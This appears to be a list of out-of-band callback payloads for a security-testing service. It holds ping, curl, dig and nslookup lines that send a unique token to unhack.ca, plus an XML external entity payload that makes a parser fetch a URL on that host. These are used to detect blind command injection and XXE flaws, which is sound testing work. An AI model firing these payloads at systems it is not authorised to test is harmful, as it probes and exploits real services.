$ ping -c1 -p 0087729b1c99067b701d07c59a6df200 unhack.ca
$ curl http://unhack.ca/p/87729b1c99067b701d07c59a6df2
$ dig 87729b1c99067b701d07c59a6df2 @unhack.ca
$ dig 87729b1c99067b701d07c59a6df2.ns.unhack.ca
C:\> nslookup 87729b1c99067b701d07c59a6df2 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/87729b1c99067b701d07c59a6df2">]> <foo>&xxe;</foo>